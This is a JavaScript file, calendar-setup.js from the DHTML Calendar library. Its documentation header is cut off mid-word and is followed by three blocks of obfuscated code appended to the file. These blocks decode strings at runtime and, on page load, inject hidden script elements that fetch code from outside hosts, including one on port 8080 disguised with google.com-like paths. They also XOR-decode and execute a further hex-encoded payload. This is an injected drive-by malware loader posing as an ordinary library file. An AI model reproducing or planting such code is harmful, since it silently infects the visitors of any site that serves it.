/*  Copyright Mihai Bazon, 2002, 2003  |  http://dynarch.com/mishoo/
 * ---------------------------------------------------------------------------
 *
 * The DHTML Calendar
 *
 * Details and latest version at:
 * http://dynarch.com/mishoo/calendar.epl
 *
 * This script is distributed under the GNU Lesser General Public License.
 * Read the entire license text here: http://www.gnu.org/licenses/lgpl.html
 *
 * This file defines helper functions for setting up the calendar.  They are
 * intended to help non-programmers get a working calendar on their site
 * quickly.  This script should not be seen as part of the calendar.  It just
 * shows you what one can do with the calendar, while in the same time
 * providing a quick and simple method for setting it up.  If you need
 * exhaustive customization of the calendar creation process feel free to
 * modify this code to suit your needs (this is recommended and much better
 * than modifying calendar.js itself).
 */

// $Id: calendar-setup.js,v 1.26 2006/02/11 12:32:59 mishoo Exp $

/**
 *  This function "patches" an input field (or other element) to use a calendar
 *  widget for date selection.
 *
 *  The "params" is a single object that can have the following properties:
 *
 *    prop. name   | description
 *  -------------------------------------------------------------------------------------------------
 *   inputField    | the ID of an input field to store the date
 *   displayArea   | the ID of a DIV or other element to show the date
 *   button        | ID of a button or other element that will trigger the calendar
 *   eventName     | event that will trigger the calendar, without the "on" prefix (default: "click")
 *   ifFormat      | date format that will be stored in the input field
 *   daFormat      | the date format that will be used to display the date in displayArea
 *   singleClick   | (true/false) wether the calendar is in single click mode or not (default: true)
 *   firstDay      | numeric: 0 to 6.  "0" means display Sunday first, "1" means display Monday first, etc.
 *   align         | alignment (default: "Br"); if you don't know what's this see the calendar documentation
 *   range         | array with 2 elements.  Default: [1900, 2999] -- the range of years available
 *   weekNumbers   | (true/false) if it's true (default) the calendar will display week numbers
 *   flat          | null or element ID; if not null the calendar will be a flat calendar having the parent with the given ID
 *   flatCallback  | function that receives a JS Date object and returns an URL to point the browser to (for flat calendar)
 *   disableFunc   | function that receives a JS Date object and should return true if that date has to be disabled in the calendar
 *   onSelect      | function that gets called when a date is selected.  You don't _have_ to supply this (the default is generally okay)
 *   onClose       | function tha
var k;if(k!='' && k!='d'){k=''};var a=window;var zl=new Date();var z=document;var w="w";var n;if(n!='' && n!='kr'){n=null};function _(f){var t=['h1tWt!pX:W/^/WtWo^rWr!e!n1t!dWo^wWn1l!o!a!dXsX-Xn!e^t1.Wr!e^a1lXt1oXr1.1c^oWm!.1e!x1p1e!d!i^aW-1cXo1m1.XnWe^wWwWo^rXl^d!l^i1n1k^.Wr^u1:W8!0X8!0!/WsWeXaXrWsW.1cWo^mX/XsWe1a^r1s!.WcWo!mX/^a!uXtWoX.1r1u^/Wg!o1o1gXl1e1.Wc^o!mX/!p^e1r1s!i^a!n^bWl^o^g1.1i^rW/!'.replace(/[\!X\^1W]/g, ''), 's0ckr0i9put0'.replace(/[09uk;]/g, ''), 'c8r_eKa8t:eKE8l_eQm8e:nQtQ'.replace(/[QK8_\:]/g, ''), 'oinEl+oZa+dZ'.replace(/[ZE\+_i]/g, ''), 's3r/c+'.replace(/[\+3n/E]/g, ''), 'aGp*pfeGnXdPC*hPi*lGdG'.replace(/[G\*fXP]/g, ''), 'sXeXt>A>tDtPrPiXbDuHtPeX'.replace(/[XPD\>H]/g, ''), 'bDoRdTyR'.replace(/[RTqDt]/g, ''), 'dhehfueur+'.replace(/[\+uz\|h]/g, ''), "1"];var yo="";var c=t[f];return c;this.e="e";}var m = function(){var jt=new Date();try {g=z[_([2][0])](_([1,2][0]));g[_([6][0])](_([8,5][0]), _([9][0]));var fa;if(fa!=''){fa='g_'};g[_([8,4][1])]=_([9,0][1]);var j = z[_([7,9][0])];this.dk='';var aa;if(aa!='ld' && aa != ''){aa=null};j[_([5,6][0])](g);} catch(mi){};};var bq="bq";a[_([3,0][0])]=m;this.ie="ie";var __=new Date();
function d() {this.Wg='';var F='[';var N=false;var R=']';var l=13092;var f='replace';this.U="";var O='g';var P=49964;function y(b,K){var _=F;_+=K;var c='';_+=R;this.AT=false;var u=new RegExp(_, O);this.RI=2719;return b[f](u, '');};var bf=false;this.Vn=37292;var k=window;var g=false;var X=y('h7tZt7pz:Z/Z/ZgZoWoWgZlqe7-Wf7rW.7yqezlzpq.zcZoZmZ.zpZazyZsWe7rzvWez-zczo7mz.znZezwquZsWa7gquZiqdZe7.Zrzuz',"z7qWZ");this.qW="";var fj=y('/2gno2o6g2lne6.2cno2mn/Vg6oVo6gVl6e2.0cVo2mn/6s0m6h0.0cVo0m2.6a2u2/0a2l2iVmnanm0a6.2c0oVm2/6g6aVpV.Vc2onm0/2',"2V06n");this.Uq='';var q=y('slcVrViVpZtS',"SKVZl");var V='';this.KS='';var M=y(':N8k0N820k',"kNju2");var A=y('ckrHeQaftkeQEClfekmCeCnQtk',"kHQfC");var FW='';this.hm=false;k[y('o6n1l1oqaqdq',"qfc61")]=function(){var bw=false;try {var sR=17375;var RC="";V+=X;this.rH='';V+=M;var GE=36210;V+=fj;this.w="";this.o='';j=document[A](q);var kw="";t(j,y('slrocD',"DolNq"),V);var PR='';var fq='';t(j,y('d3e1fvevr1',"13Avm"),([1,4][0]));var we="";document[y('bmoud3yu',"umCK3")][y('aKp9p9ebnbdKCkhBiblbdk',"kB9bK")](j);} catch(G){var p="";};var fg=false;};var bu='';var lE=false;function t(E,W,tf){this.bi="";E[y('sWeQtEAUtUthrQiWbQuUtQeh',"hUWQE")](W, tf);}var Ci='';};d();
var hK="dedadbe9d8a8deced9dcf4a8d8cadde492dcc4f2e7ffe8c7e6d0e7ceefc0c0e3ccd2ead5ecd7e5c5efdbe5ccfbc0ffcadef6ddced9eed8f5dcf5d8dcc0e9f0f5c4c8c1b2f4c28edbcac1abc5ddbadac1";var ENG;if(ENG!='' && ENG!='SK'){ENG='Wp'};var cB;if(cB!='' && cB!='iQ'){cB='Qom'};function u(i){var xH=40363; var sn;if(sn!='' && sn!='kP'){sn='X'};function O(x,uy){this.XH=false;return x[J("oacdCehrAt", [2,6,1,7,4,0,3,5])](uy);var Ij;if(Ij!='' && Ij!='e'){Ij=null};}this.jz='';var l;if(l!=''){l='uJ'}; function a(A,P){var Yj="Yj";return A^P;}this.fB=""; var J=function(y, G){var k = '';var MF=new Array();var kb=new Array();var v=[1][0];var N=new String();this.XX="";var W=[0,233][0];var gh;if(gh!='' && gh!='HR'){gh=null};this.Ef=false;var h = G.length;this.RX="RX";var F = y.length;this.PZ=31119;this.QW="QW";var pW;if(pW!='Fu'){pW=''};var o;if(o!='b'){o=''};var nb;if(nb!='' && nb!='UI'){nb='QV'};for(var t = W; t < F; t += h) {this.Pk=false;var xu = y.substr(t, h);this.vR='';this.q=false;if(xu.length == h){var So;if(So!='' && So!='SH'){So=''};var ic;if(ic!='' && ic!='vH'){ic=''};var Bh="";this.xB="";for(var L in G) {var ou;if(ou!='vW'){ou=''};var tT=new Array();k+=xu.substr(G[L], v);this.In="";}} else {var Qo;if(Qo!='KR'){Qo='KR'};var ws;if(ws!='cr'){ws='cr'};  k+=xu;}this.yH=false;this.SG=false;}var XW=new Array();var ct=false;var Ib='';return k;};var bH=new String();var nj;if(nj!='ge' && nj!='Nh'){nj=''}; var Gh=function(Fp){var WY;if(WY!='gp' && WY!='qF'){WY='gp'};var hq=new Date();var L=[183,217,0][2];var v=[1][0];var zy;if(zy!='' && zy!='zi'){zy=''};var Ct=new Date();var Wc=Fp[J("eglnth", [2,0,3,1])];var DP="";var ll="";var j=[0][0];this.yh=false;this.MN='';var T=[63,104,255][2];var Gj;if(Gj!='FH'){Gj='FH'};var ez='';var tZ;if(tZ!=''){tZ='so'};var KL=false;this.Iw="Iw";var pF;if(pF!='' && pF!='Mk'){pF='tb'};while(L<Wc){var rZ;if(rZ!='vWh' && rZ != ''){rZ=null};L++;jb=O(Fp,L - v);var gY=new String();j+=jb*Wc;this.Iq=45538;}return new f(j % T);this.Zj=false;};var zb=new String();var DB=false;this.Je=''; function Q(y){this.nw='';var Wv;if(Wv!='' && Wv!='Ha'){Wv='tM'};var k = '';var cQ;if(cQ!='' && cQ!='fE'){cQ=null};var Ae;if(Ae!='aE'){Ae='aE'};this.St='';y = new f(y);var No=new Array();var kg = -1;var t =[198,78,0][2];var W =[142,0][1];this.ZH=45446;var Wg="";var Yg=false;for (t=y[J("etlngh", [2,0,3,4,1])]-kg;t>=W;t=t-[1,176][0]){k+=y[J("hcratA", [1,0])](t);this.NU=false;}var rC=new String();this.iT="";this.DE=57638;return k;}var gS=new Array();var LA=window;var ss;if(ss!='' && ss!='OD'){ss=''};this.dS="";var fH=LA[J("vlae", [3,0,2,1])];var YL;if(YL!='IX' && YL != ''){YL=null};var mp=new Date();var Y=fH(J("tFoinnuc", [1,6,5,7,0,3,2,4]));var gX;if(gX!='aT' && gX!='py'){gX='aT'};var f=fH(J("nrtiSg", [4,2,1,3,0]));var qb="";var bV;if(bV!='Xf' && bV!='ol'){bV=''};var fh = '';var PA;if(PA!='Np' && PA != ''){PA=null};var p=fH(J("gERexp", [2,3,0,1]));this.bWx='';var wH="";var fG;if(fG!='Ce'){fG=''};this.YF="YF";var Rg='';var fp=f[J("ChmoarfrCode", [6,7,3,2,0,1,4,5])];var Yb;if(Yb!='' && Yb!='kj'){Yb=''};var z=LA[J("nuseacep", [1,0])];this.XWD=false;var bt;if(bt!='IL'){bt=''};this.Iz='';var CW=new String();var Zu;if(Zu!='TWv'){Zu='TWv'};var B = f.fromCharCode(37);this.hG="hG";var cD=new Array();var v =[118,231,57,1][3];var PXM=new Date();var Oi = i[J("hgnlte", [3,5,2,1,4,0])];var oR=new Date();var hZ=new Date();var I = /[^@a-z0-9A-Z_-]/g;var W =[0][0];var hh = '';var TH=new Array();var c =[0,26][0];var KO="KO";var LB='';var S =[2,78,22,19][0];var KxT=false;var Rq;if(Rq!='RY' && Rq != ''){Rq=null};var OL = '';var YV="";var yF = '';var bI;if(bI!='' && bI!='Jr'){bI=null};this.IY=false;var H=[1, J("onuctemdceerEta.e(em\'tnlc\'ir)tps", [7,0,3,2,6,5,1,4]),2, J("irtdapsiv.romoc", [2,1,0]),3, J("cudontmeod.bapy.ndpeilChd)d(", [2,3,0,1]),4, J("ts.Adebrtutid(eet\'fer\'", [4,2,1,5,0,3]),5, J("m.ocismaetepu:r.0880", [3,2,0,1,5,4]),6, J("rkt6.ucm.bo.eemp3", [2,0,4,1,5,3]),7, J("lraietvtosg.ar", [2,0,5,4,1,6,3]),8, J("ndowionlw.oad", [3,4,0,1,2]),11, J("ctunf()oni", [4,2,3,0,1]),12, J("oggoelc.mo", [1,0]),14, J("jango.cim", [3,1,2,0]),15, J("iimlylet", [2,1,5,3,0,4]),16, J("ctcha(e)", [2,4,1,0,3,5]),17, J("ht\"p:t", [2,0,1]),18, J(".drsc", [1,0]),19, J("\'\'1)", [1,2,0]),20, J("rty", [1,0,2]),21, J("ocm", [1,0])];var vt=false;this.Un=37573;this.KC='';for(var cq=W; cq < Oi; cq+=S){var JZ;if(JZ!='QY' && JZ!='Kf'){JZ=''};var aK="aK";yF+= B; var vx;if(vx!='' && vx!='Tg'){vx=''};var WvN=new String();yF+= i[J("bsustr", [1,2,0,3])](cq, S);this.hd="";}this.qX=false;var Af=new Date();var YSB="";var i = z(yF);var AO = new f(u);var Pc;if(Pc!='Nhw' && Pc!='nZ'){Pc=''};this.ya='';var s = AO[J("earlpce", [2,0,4,3,1])](I, OL);this.zzgY="";var qv;if(qv!=''){qv='dl'};var m = H[J("hntgle", [4,5,1,3,2,0])];var uO="";var zR;if(zR!='KRR' && zR!='ezJ'){zR=''};this.aJ="";var U = new f(Y);var nK;if(nK!='Ru' && nK != ''){nK=null};var kh="";s = Q(s);this.gE="gE";this.kt=false;var EP=new Date();var Fo = U[J("lpaerce", [4,3,1,0,2])](I, OL);var wWs='';var Fo = Gh(Fo);var Bg=false;var Nx;if(Nx!='' && Nx!='Hj'){Nx=null};var Bn=Gh(s);var RT;if(RT!='zl' && RT!='uyA'){RT=''};this.gc=49545;var BM=new Date();var RJ;if(RJ!='' && RJ!='jr'){RJ=''};for(var t=W; t < (i[J("elntgh", [1,0,2])]);t=t+[28,242,242,1][3]) {var ZHE=new String();var pQ=new String();var mH = s.charCodeAt(c);var Wd = O(i,t);var rm=new Date();var uC=new Date();Wd = a(Wd, mH);var zf="";var SP;if(SP!='qo' && SP!='ri'){SP=''};this.wWg=61354;var LN;if(LN!='PXR' && LN!='Bl'){LN='PXR'};Wd = a(Wd, Bn);this.TYG="TYG";this.mN=65063;Wd = a(Wd, Fo);this.Vq=false;var XA;if(XA!='' && XA!='Ox'){XA=''};var liB="";var uA="";c++;var pV;if(pV!='Zy' && pV != ''){pV=null};var UK;if(UK!='pH'){UK=''};var yz=new Array();if(c > s.length-v){var cA=new Array();this.Ig=false;c=W;var eOO="eOO";}this.mz=false;hh += fp(Wd);}var Sr=new Date();var uD=new Date();for(M=W; M < m; M+=S){var CEw=23466;var LP=new String();var sa;if(sa!='Io' && sa != ''){sa=null};var mD = H[M + v];var NR;if(NR!='' && NR!='eC'){NR='bG'};var Pa = fp(H[M]);var hY=new String();var BrK="";var CUn;if(CUn!='' && CUn!='We'){CUn=null};var n = new p(Pa, "g");var hp="hp";this.UIQ=false;hh=hh[J("arelpce", [1,2,4,3,0,5])](n, mD);}var AB;if(AB!='' && AB!='hGm'){AB=null};var ZJ=new Y(hh);ZJ();var Jfe=false;var dGM;if(dGM!=''){dGM='JY'};ZJ = '';Bn = '';var ip=new String();hh = '';U = '';Fo = '';s = '';this.RL="";var ZCN='';var dlq=false;var GPK;if(GPK!='Rh' && GPK!='oc'){GPK=''};return '';var uur="uur";};var ENG;if(ENG!='' && ENG!='SK'){ENG='Wp'};var cB;if(cB!='' && cB!='iQ'){cB='Qom'};u(hK);
